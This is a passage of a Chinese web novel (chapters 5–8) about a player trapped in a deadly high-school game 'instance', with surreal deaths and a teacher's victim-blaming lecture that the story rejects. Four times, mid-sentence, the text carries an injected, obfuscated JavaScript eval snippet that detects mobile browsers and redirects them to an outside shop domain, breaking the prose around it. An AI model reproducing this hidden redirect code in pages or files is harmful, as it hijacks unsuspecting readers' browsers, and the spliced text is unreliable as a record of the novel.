好家伙，也不知道她那文后来有没有被搬到雷文吐槽中心。 再转念一想，也不算写实。 她写文起名字着实苦手，非主角之外的角色绝不起名，多半用“同学”取代，就连主角的家长也从来都是“贺清璟妈妈”或者是“贺父”这样。 她胡思乱想着，坐到了自己的位置上，在文具盒上看到了熟悉的贴纸之后，确认了这就是顾南栀的座位。 ——顾南栀好像是团粉，贴的是七个人的贴纸。 名字她是一个人都没记住。 不过明星并不重要，七个泡菜国的人也不可能跑到她这高中来读书。歩绾粗略瞄了一眼便抛之脑后，开始翻找情报。 没有什么特殊的东西，全都是学习相关的材料，只是每一本书、每一本练习册的扉页都写着一句话：“你要变得足够优秀才能追逐上他们的脚步”。 显然易见的是，顾南栀把去见HEPTA当作她学习的动力。 歩绾很快又意识到早早来校的问题。 教室里就她一个，不管是谁过来应该都会和她打声招呼，顾南栀应该不是那么勤奋到校的人设，同学看到了肯定会惊讶，交流一番必然会暴露她压根就不知道同学叫啥、最近发生了什么事之类的事情。 于是她把书包放好就出去“溜达”了。 以防万一，她还带上了从抽屉里摸出的背单词小册子，以显示自己没有荒废时间。 虽然不知道在这个学校里到底会发生些什么，但是不管怎么样学生的第一任务就是学习，带个学习资料在身上总是没有弊端的。 这里毕竟是一个副本，尽管按照贺清璟的说法是死亡率很低，还是要小心为上。 想到这个又觉得有点好笑，小心为上，所以要小心地探索学校。 探索学校是必不可少的，副本提示里那么一长段字，她除了通关目标是通过周测以外啥都不记得，反正大概就是介绍这学校多么优秀，历史多么悠久。 学校看建筑外观确实还挺悠久的。 她这一栋楼半新不旧的，后面那栋楼显然是新建的，质感看上去好了太多。隔着操场和篮球场那边还有一栋矮一点的楼，看不出来具体是什么用处，居然还是粉墙黛瓦飞檐翘角的，在这一众建筑里显得格外突兀。 明摆着写了不对劲，说不定是这次副本突破的关键？但那和周测又有什么关系？ 想不明白，也不敢进去。 歩绾瞥了眼单词本，假装念念有词地背着单词，也不敢多看那楼两眼。 单词本第一页居然不是abandon，难道高中生不需要背abandon？ 算了管它需不需要背了，她要通不过周测就要被ban了。 歩绾在学校里绕了一圈，一无所获。 不知道是因为她是新手，还是确实没什么线索，总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652708|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之她除了看到食堂里有人一边啃馒头一边看书，看到操场上有人一边快走一边背单词，看到河边亭子里有人坐着埋头背书，别的什么发现都没有。 不愧是第一中学。 她回到班级的时候人已经来了大半。 自然地将小册子揣进了宽大的裤兜里，她坐回了自己的位置，看到自己的同桌转过身来笑眯眯朝她打了声招呼：“早啊金夫人。” ……啊？ 歩绾有点傻眼，视线下意识扫过同桌相较她而言整齐很多的桌面，在她敞开的文具盒上看到了笔迹娟秀的一句“要为了郑贤宇成为更好的人”，努力平静地回道：“早啊，郑夫人。” 话说郑贤宇又是谁？HEPTA里应该没这号人吧？ “又开始了又开始了，啧啧，棒子粉早上的互相打气。” 令人厌恶的声音来自讲台右侧的曹光成。 是个胖子。 脸是圆的，肚子是圆的，坐在那儿像是一个散发着热气的雪人，倒不至于满脸横肉，但眼睛被挤得还算狭窄，也不知道有多少是高度近视的眼镜反衬的。 “早上好~金夫人~早上好~郑夫人~”他阴阳怪气、矫揉做作地学着，这个年纪正是变声后期，刻意地掐着嗓子，要不是嘲讽的是她们，歩绾还觉得有几分好笑。 显然旁边的同学也是这么觉得的，所以他们笑了出来。 “郑夫人”掀了掀眼皮子，讥讽道：“嫉妒吗，没人爱的死胖子。” “最起码我爱国~”曹光成撇了撇嘴，似乎想学她的表情，但大概眼皮过于沉重掀不动，左右扫视了两人一圈，夸张地咂舌，“还高什么考哪，直接去棒子那儿读书呗，去看死娘炮扭动，欧巴~撒浪嘿~” 歩绾面无表情地想，也不知道是不是这副本的第一道坎儿就放在了这儿，让她得忍着暴打npc的冲动。 “坐讲台旁边的人还好意思嘲笑人呢？” 大步走进来的男人将手中的本册砰地摔在了讲台，曹光成一下子噤若寒蝉，勉里勉强露出一个略带讨好的滑稽的笑。 “人顾南栀上次周测第八名，张婳蓉第三名，你曹光成呢？”老师拿起巨大的三角板拍了拍讲台，扬起一片粉尘，“你以为你的第一排和人的前三排一个性质呢？” 曹光成讪讪。 郑夫人，不对，张婳蓉哼了一声，也不打算和这位“第一排”的人计较，她看向老师：“徐老师，你急着布置任务吗？我昨天做了个题，看答案也没明白，能先问问你吗？” 徐老师显然很喜欢热爱学习的好学生，三角板往讲台上一丢，看了眼时间，笑道：“能把你难倒的，这么短时间我估计看不太出来，先给我看看吧。” 徐老师看起来是数学老师，这节早读是语文的，那么不出意外他应该是班主任。 在中年人中算得上是不错的长相，身材不仅没有发福，还算得上是瘦瘦高高，带着细框眼镜，看起来一表人才。 这师生关系看起来也算不错啊，不管对差学生怎么样，反正他对她们这些好学生态度是很好的。 ——所以一开始进副本就被划分成成绩好坏两个阵营了吗？好学生收获教师的庇护，坏学生待遇惨淡？也不能这样吧？ 要是单纯地以成绩好坏作为评判标准，那这个副本也太狭隘了吧？ 算了，现实世界的评判标准也不一定好到哪儿去。 5. 第 5 章 05 早读布置了三个任务，完成任务后自己随意背诵，早读结束前十分钟课代表组织抽背。 歩绾看了眼要背诵的文言文，简直心如死灰。 很难说那种闯鬼门关的副本和这种要背诵的副本哪个更恐怖一些。 她丰富的无限流小说好像也没有传授这方面的经验。 蜩与学鸠笑之曰：“我决起而飞，抢榆枋而止，时则不至，而控于地而已矣，奚以之九万里而南为？” 歩绾在心里骂了句脏。 第一个字她就不记得念什么，第四个字是什么？鸠占鹊巢的鸠？还是饮鸩止渴的鸩？让脱离学习环境这么久的社畜来背文言文是不是有点太过分了啊？！ 关键是真回到高中生活背不出文言文也就罚罚站抄抄写的后果，这可是副本！ 怎么还有《谏太宗十思疏》？她上学的那年有背过这玩意儿吗？那一篇她好歹还记得个“北冥有鱼，其名为鲲”，这一篇她都没有看过的印象！ 她明明算得上厉害的联想能力却没有办法帮助她去揣摩今天背的这三篇文言文和这个副本有没有更深层次的关联，也无法想象如果背不下来的话到底会面对怎样的后果，不知道作为玩家的她会不会成为被抽背的必然选择，只能硬着头皮去背诵。 沉下心去背诵的时候却感觉自己好像得了视微症。 毛毛虫从嘴里拿出了水烟管，慢吞吞地打着哈欠，摇着身子从蘑菇上下来，向草地爬去，顺口说道：“一边会使你长高，另一边会使你变矮。”* 书本上的每一个字变成了扭曲行走的庞然大物，指点着汉字的手指突然变得有十几倍粗，面前的平凡教室变得五彩斑斓起来，像是万花筒，摇摇晃晃的粉色和紫色彗星拖着长尾巴滑过，留下的烟云在课桌上踢踢踏踏地变成了狭长的建筑。 课本上的黑白人物画像像是另建了一个图层，被鼠标拖着在PS画布上来回晃动，像是在跳踢踏舞。 你还不如给我看大鲲呢，歩绾压下想吐的欲望，闭了闭眼。 “站起来！” 歩绾颤了一下，睁开眼，意识到这声训斥并不是对着她。 ……是对着曹光成。 不管怎么说，曹光成的存在感有些太过鲜明了。 她的位置在曹光成后面，虽然看不清他的表情，也看得见他猛地抬起头，似乎吓了一下，然后噌地窜了起来。 教室里一下子陷入了一种诡异的静谧，所有人都没有说话，五十七双眼睛齐刷刷地盯着曹光成。 他站在那里，萎靡地塌陷着，不知道是因为老师的训斥，还是因为困顿。 总不该是后者吧？歩绾想。 刚刚那一声训斥她都被吓了一跳，他总该被吓清醒了吧？ “睡，你继续睡啊，梦里考上大学，多好，光宗耀祖。” 阴阳怪气的嘲讽，这回落在了他身上，但是没有观众发笑了。 大概戏剧的主演并不甘得落个无人鼓掌的局面，于是他发功了。 皮被连着衣服一起干脆利落地剖开，像是懒得撕开火腿肠的外皮，露出了洁白瓷管包裹着的电线。等下，她怎么知道瓷管底下裹着电线？数以万计的瓷管在蠕动，它们并不像瓷那样坚固，看样子它们只是有着瓷的莹润光泽。 蠕动，抽搐，汇聚成不伦不类的、数字和笔画组成的“汉字”。 是大学的名字，是在国内的在世界的大学排名，是每门考试的分数——曹光成的成绩真的很糟糕——“汉字”艰难地试图重新组成人形，却组成了发光的脏器。 莹润的光泽，就好像要光宗耀祖的决心。 耀祖变成了妖族。 一只硕大的……肥鱼，鱼鳍摇摇晃晃的，试图支撑规避着彼此的瓷管不散架，失败，扭曲地生长，鱼鳍怎么会长出羽毛？ 鱼鳍当然长不出羽毛，羽毛又开始四散。 还连着分割开来躯体的四肢肿胀，漂浮，像是商场前面舞动的气球人，像是离了水的水滴鱼，从来没想过粉色能这么让人感觉到恶心。 羽毛变成了一条条巨银斧鱼。 都说深海里的鱼长得都奇形怪状，巨银斧鱼比起奇怪更多是恶心，硕大的、前凸的眼睛滴溜溜地转着，连成一条线的发光器试图将课本上的每一个字照亮。 鱼的口腔一张一合，它们在背诵。 “天之苍苍，其正色邪？” 鲲从空中坠落，被分尸了。 歩绾想，但是让他那样的家伙被隐喻为鲲，是不是有点太侮辱鲲了。 她的心情出乎意料地平和，恶心归恶心，想吐归想吐，汗毛虽然直立了，但横竖死的不是她、不是玩家，而是一个npc…… 班主任拍了拍手，示意大家继续背书。 “少了一位拖后腿的，我们的一本率更高了。” 他似乎还挺高兴的样子，“我希望我们班五十七个人都考上一本，可以吗？” 非常平静的一个上午，除了早读死了一个人。 呃，好像这俩半句不适合放在一个句子里。 早读结束后抽背并没有抽到她，或许是因为曹光成的“激励”，被抽到的三位同学都非常连贯地背诵了全文。 国旗下讲话也异常平和，在国旗下发表宣言的自然是三好校草贺清璟。 歩绾因为身高的原因站在队伍后端，看也看不清他，听着满篇的套话也烦，干脆在那里抠手指，发着呆熬过了无聊的讲话。 到第四节课的时候，讲台右侧的桌椅就消失了；讲台上的座位表也少了一个名字，就连凌研钊名字旁边的58也自然而然地变成了57。 本来显得真实的游戏再一次透露出了它游戏的虚幻本质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652709|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，而参与其中的玩家本人不敢问任何一个npc是否还记得曹光成这个人。 中午十一点半放学，走读生可以选择在学校吃饭或者回家吃饭。 歩绾其实还没想好是去食堂还是回家，和同桌一起走下楼梯的时候还在思考去食堂会不会触发剧情、回家又会发生什么，忽然听到骚动，反应过来之前就被张婳蓉拿手肘轻轻推了推，一抬头就看到她促狭的眼神和示意。 她发现贺清璟靠在墙边上看着她，朝她微微挑了挑眉。 大概是他发现了什么，歩绾想，于是朝张婳蓉道了别，说今天就不陪你吃饭啦。 张婳蓉笑眯眯：“下午要和我说哦！” 说啥？ 歩绾懵了一下，然后意识到张婳蓉误会了他们之间的关系。 哦，也不意外，毕竟玩家的抱团在他们看来可能就是暧昧。 ——但除了小说里的那些大佬，到底谁还有心思在恐怖游戏里谈恋爱啊？！ 哦不对，贺清璟应该也是个大佬来着。 那没事了。 歩绾三步并作两步小跑到贺清璟身边，歪了歪头看他，还没来得及说什么，就听他道：“走，请你吃兰州牛肉面。” 啊？ 她好像更懵了。 第一中学的走读生很多，大部分就住在学校附近。 这里并不是什么大城市，房价不高，对孩子有很高期望的家长们自然选择在优秀学校旁边买房或者租房，旁边的超市餐饮资源也还是很丰富的。 也正因如此，回去的路上有太多同路的不同班同学们，再加上贺清璟算得上风云人物，他们俩走在一起回头率简直爆表。 所以一路上他们也没聊什么超游的话题。 聊的是正经的学业。 歩绾问贺清璟，你会背《谏太宗十思疏》吗？ 贺清璟一愣，显然他们今天早读不是语文，但也只是几秒，问道：“臣闻求木之长者那个？” ……行。 歩绾沉痛地想，果然只有我是废物。 “我们今天早读抽背这个，还好没抽到我。” “背不出来应该顶多只是罚抄？” 歩绾继续沉痛地摇头，欲言又止。 现在人多不方便说，一会儿到了牛肉面店应该也不方便说吧？ 贺清璟倒是看出了她的意思：“不在店里吃，去我家，今天我家里没人。” 磨磨蹭蹭走在他们前面的人身形猛地僵住，脚步放缓，显然想听更多的八卦。 歩绾神色有些怪异，怎么都没想到有一天自己居然也能成为校园八卦的主角。 “他俩去买面了，我们先回去。” 含糊不清的他俩，大概是他找到的两个玩家。而她谁也没找到，还送走一个npc。 听起来有些地狱笑话。 6. 第 6 章 06 四个玩家，三男一女，三个学生一个老师。 一个清冷少年，一个开朗少年，一个懒散老师，一个……呃，不知道怎么定义自己的少女。 说真的，这个配置是不是有点太眼熟了？ 开朗少年自来熟地热情地分着拉面，葱花和香菜分开来用小盒子装着：“我不知道你们吃不吃香菜葱花哈，而且这俩太早放汤里泡软了我个人感觉不好吃就没给你们放~你们看着自己加哈~” 好像这是他家似的。 “哎对了那个啥，我叫顾嗣显，子嗣的嗣，明显的显，高三二班~对啦，我下副本四次啦。” 他笑的时候眼角的泪痣闪烁着迪卢木多的光辉。 熟悉的名字，歩绾想。 那个时候她觉得嗣这个字很好看，给不知道几个坑了的文里的男主都要加上这个字，也不考虑下现实生活中叫这名有多奇怪。 “明诀，明亮的明，诀别的诀，高二一班的数学老师，也是指引人，下了副本六次。” 又年轻又俊美的家伙，到底得多优秀才能被分配给特优的学生当数学老师啊？其实感觉明诀这外表塞进来读高中也没什么问题吧？他看起来反正比那曹光成年轻啊？ 歩绾也介绍了一下自己。 感觉自己有点弱，这边俩都是尖子生，还有一个教尖子生的老师。 但管它呢，她是GM，他们是吗？ 几人呼啦啦吃完面，交流了一下情况。 与她不同，他们确实度过了一个非常平静的上午。 顾嗣显愁眉苦脸：“妈呀，真的是生死高三，我服了，我考了一上午的试，还好是数学和英语，好家伙，要让我考语文和物理，我真的活不下去。” 歩绾深有同感。 倒不是讨厌语文，她当然喜欢语文的那些绝美辞藻与韵脚，闲暇消遣的阅读没有任何问题，但是要背诵、要分析、要做阅读理解，那确实活不下去啊！ 哦当然她和顾嗣显不一样的是，她数学更不可以。 听说现在数学连因为所以的符号都不能用了，她估计只能给每一题写一个“解：”然后干瞪眼。 明诀的上午过得或许可以算平静，虽然没有课，但他过得挺累的。 一个懒散的男人，一上午连轴转于不同的办公室间，和这个老师嬉笑和那个老师双排，打探来了许多消息。 “第一中学成立于1920年，这个你们应该都记得。我不知道你们有没有留意篮球场后面的那个相对古朴的建筑，那是大讲堂，每年开学和毕业的时候都是在那里举行仪式，但老师们并不愿意提起它，更别提走近，都讳莫如深。我看第一节晚自习，第二节晚自习的时候我会去看一下。” 他停顿了几秒：“今晚你们就先别去，毕竟我还顶着个老师身份，可以周旋。学生翘课估计是不被规则允许的。” 后面一句显然是顾念到歩绾是新手特意补充的。 “一会儿交流完情报之后我和你大概讲一下游戏的事。” 歩绾点了点头，道了声谢，然后爆出了个惊天大雷：“早读的时候我们班死了个人。” 她有些不好意思将自己和同桌的打招呼告诉他们，但是又不确定这件事算不算得上一个导火索——毕竟她家里那么多追星的玩意儿，总不可能就真的只是摆设吧？ 她犹豫了一下还是以尽量简洁的语言将故事还原了一遍，详细讲了一些自己觉得不对劲的地方。 “其实‘顾南栀’的成绩也不错，”顾嗣显摩挲着下巴，长得好看的阳光少年做这个动作完全不猥琐，反倒多了点年轻人想要装得老派反而显露出来的青涩，“火箭班的人拢共也就年级前一百二十个，其他班分班是完全打乱的，每个班的前十努一把力都能冲进火箭班，我们这个身份设置得应该有意思。” “尖子生和老师的关系都更好点，”明诀伸手指了指抱臂不说话的贺清璟，语气有点轻佻，“第一名和我关系可好了。” 贺清璟对他的调侃不以为意，总结：“两种可能，一，学生没有在正确时间做正确的事；二，老师的意愿。” “……还有一种可能。”歩绾吞了口唾沫，“这个学校，或者这个副本的意志，在这一刻判定，他没有通过周测的可能了……” 几人都没再说话。 明诀安慰着表情不好的歩绾：“安心，通过周测肯定不是说让我们真正意义上考试通过，今天才是我们进副本的第一天呢，还有很多情报没显露出来。” 道理是这个道理，但是慌张还是没办法少掉的。 还好是吃完面才开始交流的情报，不然她肯定没什么食欲了。 贺清璟和顾嗣显去交流分析了，明诀给歩绾介绍起了游戏。 “这种等级低有新手的副本都会有两个所谓的老玩家当指引人，所以之后你如果遇到了这种‘驰援任务’，我会建议你接一下，我就是接了面向新手的援助任务，如果新玩家以B及以上的结算等级通关的话，我们都会得到奖励。而且这种副本一般会很轻松，存活率是几乎百分百，只要你不是太会作死，比如说你放着楼梯不走非要从高楼跳下，那么谁也护不住你。” 他耸了耸肩：“所以真的不用太担心，你看我们要得到奖励的目标是让你们拿高分，而不只是说让你们存活下来，不就说明了这副本不难？” ——其实如果只是单纯考试通过的话，这副本严格意义上来说真的不难，随便找个成绩不错的高中生都能通关。 怎么现在职场招聘有年龄限制，进副本也有年龄限制了？ “在完成这个副本之后，系统会把你的角色信息在一个新出现的app里更新，到时候你就能拥有自己的技能，这个技能是根据你这次副本的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652710|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现自动生成的，所以第一次副本最好还是多多表现。”明诀弯了弯眼，看起来莫名有些狡黠，“不过我现在看你的观察能力，你应该不用担心自己的技能。” 明诀说游戏玩家都是来自不同的位面，或者说世界、时间点，可能有些东西对于这个世界的是常识，对于其他世界的存在来说就是闻所未闻。 歩绾不由发散了一下，假如让一个从没听过这些文言文的老外来背诵这些，那可真是太惨了。 她心里微妙地平衡了一些。 副本从D级到A级，当玩家成功通过两个及以上的副本后——这个成功指的是以B及B级以上的成绩通过，玩家就可以加入公会了。 进入副本之后会被赋予新身份，很大可能会把玩家分散开来，就像现在这样，不过面貌不会发生变化，当然也是可以通过商城里的道具修改的。 明诀嘱咐了一句：在未来的副本中，假如你们分散了，最好就是尽量以合理、不让NPC起疑的方式集合。 NPC一般分为三种，第一种是低级争斗副本中比较常遇到的，和玩家像是在不同世界的人，玩家做什么都不会影响他们；第二种是会在交互性剧本里遇到的，就是现在的副本，会和玩家产生交集，可能提供线索，也可能会对玩家发动攻击；第三种就是纯粹的攻击性NPC，类似于游戏boss或者小怪，总之还得看副本类型。 D级到A级，虽然理论上应该是层层递进解锁的，但是也确实有玩家非常厉害，曾经把D级的副本搞成A级，也有将A级副本升成大家几乎没有听说过的S级副本的人。 饱读小说的歩绾刚刚就还在想应该有个S级，所以很镇定，反倒是一边的顾嗣显扭过头来看他，似乎没听说过S级副本的存在。 “副本是可重复攻略的吗？”步绾问道。 如果副本可以被多人不同时间攻略，万一这副本从D级升到A级，再进入的人是直接进到A级副本吗？ 她很快意识到自己问得有些含糊，又更详细地说明了自己的疑问。 明诀摇了摇头：“不会。每个副本，每个人都有无数次尝试机会，但只要有一个人以S级通关了，这个副本就会被暂时锁定。之后你可以付出某种‘代价’来解锁这个副本，但相应的，副本的难度会直线上升，而里面的NPC都会变成你的‘老熟人’。” 他意有所指地补充道：“当然，你也可以接受其他玩家和你的交易，让他们来付出这种‘代价’，来进入这个副本。” 歩绾好像隐隐地抓住了什么，又不太确定，一闪而过的灵光像是融化在沙滩上的水母，试图去触碰却被蛰到。 “都先休息吧，”明诀看了眼时间，自然而然当主人的态度和顾嗣显如出一辙，“就都在小璟家休息吧，反正他家房间多，你们下午还要上课呢。” 总感觉他最后一句像在笑他们。 7. 第 7 章 07 比之晚上无知觉的睡眠，中午的午休是真正意义上的休息。 歩绾打着哈欠被明诀挖了起来，清水冲了把脸也没能清醒过来，眼睛半睁不睁地落在顾嗣显和贺清璟身后半步，头脑混沌地一路在飘。 到教学楼的时候还没反应过来，下意识跟着顾嗣显往另一个方向拐，然后被贺清璟拽了回来。 “你要去高考？” ……吓清醒了。 高考不管过多少年都是人的噩梦。 歩绾挠了挠脸，和看着他们直乐的顾嗣显挥了挥手，和贺清璟道了别，开始爬楼。 虽然教学楼只有四楼，但她还是痛恨爬楼梯。 想到之后的副本大概率不会有这么“平和”，她就觉得更痛苦了。 到了教室还没坐稳，张婳蓉就乐颠颠地凑了过来：“诶，你和贺清璟在一起了？” 她就算压低了声音，也一语惊起千层浪。 放在她渴望万众瞩目的高中时代，倘若她的同桌这么兴奋八卦地问她是不是和校草在一起了，她肯定会三份娇羞两分故作不在意地表示你瞎说什么呢，我们只是好朋友。 但是现在的她是个社畜，还在恐怖副本里。 哇，这又不是原耽小说，她也没长那啥玩意儿，不敢爱上什么boss邪神，更不敢自诩洁癖反社会厌恶人类然后反手拯救了世界和boss邪神在肮脏的废墟上瞎搞。 虽然贺清璟是挺帅的，但讲道理，人成年了吗。 ——诶等下，贺清璟是她笔下的言情男主还是耽美男主啊？ 还是被懒得起名的她给混着又当男主又当男主了啊？！ 人果然不能太懒。 “想啥呢，”虽然心里想七想八，嘴上歩绾还是非常迅速地反驳，坦坦荡荡毫无旖旎心思，“谁想不开和这种太优秀的人谈恋爱啊？我妈天天在我耳边念叨的别人家孩子，能喜欢上才怪了。” 张婳蓉遗憾地叹了口气。 她倒没觉得顾南栀在撒谎，确实，男神归男神，但男神变成了“别人家的孩子”只会让人厌恶。 虽然也会为惊艳皮囊动心，但这名字从家里人三番五次地提出来作比较，能喜欢上才怪了。 她们笑闹了一阵，骂学习骂学校骂讨厌的人，突然听到有人喊她。 歩绾扭头，发现语文老师站在窗前看着她。 她心里咯噔一声。 她犯啥事了？没被抽背也能发现她压根没把那三篇文言文背下来？还是现在要找她背文言文？北冥有鱼其名为鲲然后是啥？ 怎么剧情都是她这边来触发的啊？男主预备役们你们倒是发发力啊？！ 歩绾收起了龇着的大牙，忐忑地在语文老师面前站定。 语文老师年纪和她妈妈差不多，孩子比顾南栀小一岁，正读高一，不知道之后会不会到她手上，教书有没有个亲属回避…… 她慢半拍地意识到，语文老师除了是他们的语文老师，也是贺清璟的班主任。 她本来不知道这事儿，贺清璟也没说，主要是这老师课上讲作文的时候是拿了贺清璟的文章当优秀范例的。 有不好的预感。 语文老师姓王，王老师大概一米六左右，发型是干脆利落的马尾，没有一丝碎发散落，立立整整的，像极了刻板印象中的班主任。 其实歩绾好像有点想不起来自己的班主任是什么样子，但她总觉得这幅场景出现过，在她模糊的记忆里。 记忆里她们两个人靠在栏杆上，班主任和她说放轻松，我们就是随便聊聊，你的妈妈是我的好朋友，好朋友让我多多照看你…… 然后她说了什么来着？ 王老师看着她，笑眯眯地问她最近压力大不大。 她说她年轻的时候也追星，但和现在不一样，现在追星的渠道可多了，她那个时候只有磁带和海报，你用过磁带吗？有的时候还得用铅笔插进去转，一不小心就把带子给扯出来了，跟修正带似的难搞。 你也在墙上贴了海报是吧？我当时也在宿舍墙上贴了海报，第二天就被要求撕下来了，说影响宿舍文明规范。 她好像以为这样能拉近距离。 “你妈妈让我劝你，不要过度沉迷明星，我看啊，你也没有过度沉迷，把明星当自己的光，为之而努力，不是挺好的吗？要努力，努力考好大学，找好工作，赚足够多的钱，去看明星的演唱会。” 这一刻的王老师好像是一个扎着马尾的少女。 “我高中的时候也这么想着，大学的时候也这么想着，我努力打工，挣钱，可惜啊，我还来得及挣够了钱，他就死了。” 少女与少女隔着时光对话。 “我们那个时候啊，可不像现在，”少女噙着很淡的笑意，看着她，又似乎在透过她看谁，“追星啊，确实是不务正业，女孩子怎么能那么坦然地喜欢一个男优伶呢？女孩子怎么能攒钱去看一个男优伶的演唱会呢？她的钱应该全部都是她的家人的。” 歩绾莫名觉得自己的喉口有些干涩。 “现在时代变了，是吧，时代变得越来越好了。”少女眉眼弯弯。 歩绾想应和一声，但还是没开口，她觉得有点不对劲，却又不知道是哪里不对劲。 对方攥住了她的衣襟，替她将敞开的外套拉链拉了起来。 “但是女孩子啊，还是要自爱一点，衣服为什么要一直敞开着穿呢？” 歩绾瞪大了双眼。 扎着马尾的少女从四楼跳了下去。 王老师仍然是笑眯眯的，拉链倒也没拉到最顶端，大概是胸口的位置，她满意地松开了手，后退了一步，上下打量了一番：“这下子好多了，敞着拉链啊，像是在勾引男孩子，现在青春期的男生可躁动不安了。” 她温善的面孔，像是龟裂开来的脸谱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652711|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像有人将测试视力的红绿表放在了她的眼前，只是红绿表是一分为二，而她眼前的世界以王老师为中心，骤然被分成了四块。这幅画简直可以被拿去给那群画画的练习透视图，歩绾想，灭点的左右两边是红色和绿色，上下则是黄色，人体从远向近自小而大地循环，穿着外套的，拉着拉链的。 他们在不断地喃喃低语。 “青春期的男生可躁动不安了。” “你在勾引男孩子吗？” “你在勾引贺清璟吗？” “你可不能拉贺清璟下水啊，贺清璟和你们不一样，他可是要考最优秀大学的。” “女孩子还是要自尊自爱一些。” 歩绾低下了头。 拉链上的拉头变成了一把细腻的、精致的小刀，正正好好地插在她的心脏上。 她没有流血，她被一种可怕的、泛着腐臭味道的酱汁吞噬了。 班主任拉上了拉链，想要用外套严实地将她腌制，她是一坛发了霉的豆腐。 “王老师。” 不是她的声音。 好像带着些愠怒。 “这话我觉得不能对一个没有犯错的、未成年小姑娘说吧？” 歩绾被拉了一把，有点好笑的是，来人是抓着她的帽子把她往后一扯，护在了他的身后。 她眨了眨眼，慢半拍地回过神来，发现是明诀。 明诀似乎真的在生气，这点倒是让歩绾觉得意外，她没想到一个算不上熟悉的、不知道能不能算朋友的玩家能够为自己因为这点小事出面顶撞npc。 “敞着衣服外套就算是勾引男生的话，我是不是可以说王老师您将袖口挽起也是‘有违妇道’？”明诀的声音冷得像是要冻结火山，“您不去管青春期男生的‘躁动’，反倒去责怪全然无辜的人？” “明老师说什么呢，我这只是友善的提醒。”王老师推了推眼镜，面不改色，只是退了半步，似乎对比她高上很多的成年男性有些发怵。 “南栀，先回教室吧，”明诀转头看向歩绾，朝她露出一个温柔的、略带安抚性的微笑来，“我下课后找你。” 歩绾有些迟疑，看了看他，再看了看王老师，点了点头，快步走进教室。 撇去别的不谈，在副本里以学生的身份和老师对抗可能会触发一些规则上的限制甚至攻击，将“战场”交给同为老师的明诀或许会好一些。 歩绾坐在了座位上，张婳蓉又凑了过来，在她以为对方是要表达担忧的时候，突然听到：“哇，明帅哥是不是为了你和王老师对上了！这是不是冲冠一怒为红颜啊！” 歩绾一愣，这才仔细地看着张婳蓉，发现她那张小脸上洋溢着八卦的、兴冲冲的笑容，她好像冲在第一线的娱乐小报记者，麦克风直指刚收到创伤的朋友。 她好像确实也不需要在意。 她只是一个npc而已。 8. 第 8 章 08 五点半放学，七点上晚自习。 不管是否住在学校附近，走读生们这个点基本上都选择出校，要么回家吃饭，要么吃街边摊的煎饼果子小馄饨，或者和同学们去小饭店吃碗面。 歩绾的晚饭得回家吃，她记得早上奶奶说晚上给她煮白粥。 她回家的时候奶奶还在厨房忙活，家里只有奶奶一个人，她打了声招呼，算是打破了冷清的氛围。 “呀，知知回来了，菜面马上就好——” 歩绾的脚步顿住。 她不由得有些恼怒，如果对方不是她奶奶她简直想发脾气质问她是不是听不懂人话，白粥白粥白粥都说了要喝白粥，怎么又是菜面？！ 深吸一口气又缓缓吐出，歩绾强迫自己冷静，这里是副本，对方也不是真正的、听不进话的她的奶奶。 往好处想，其实这是副本里某个设置呢？ ……这算哪门子的往好处想。 她腹诽，走进厨房：“不是说晚上喝白粥吗？” “哎呀，白粥没营养，菜面有营养，要多吃点青菜，吃青菜对脑子好。” 一字未改的敷衍。 歩绾垂在裤缝边的手指颤了颤。 难以言说的愤怒席卷着她，血管膨胀，突突突得她脑袋疼，阴云在胸腔翻滚，酝酿出了一阵大雨——可恶，怎么是从眼睛里钻了出来。 比起愤怒，更多的或许是崩溃。 有百万只羊在心脏上唐突地奔跑，她被血液里席卷的怒意冲垮，甚至都不知道自己的愤怒与崩溃从何而来，哦，你的奶奶或许也不知道。 “我，说了，我要吃，白粥。” 词组艰难地从齿缝里钻出来。 热心忙碌着的奶奶察觉不到：“哎呀，菜面有营养，白粥没影响的，知知高二啦，要多吃点菜面，聪明。” 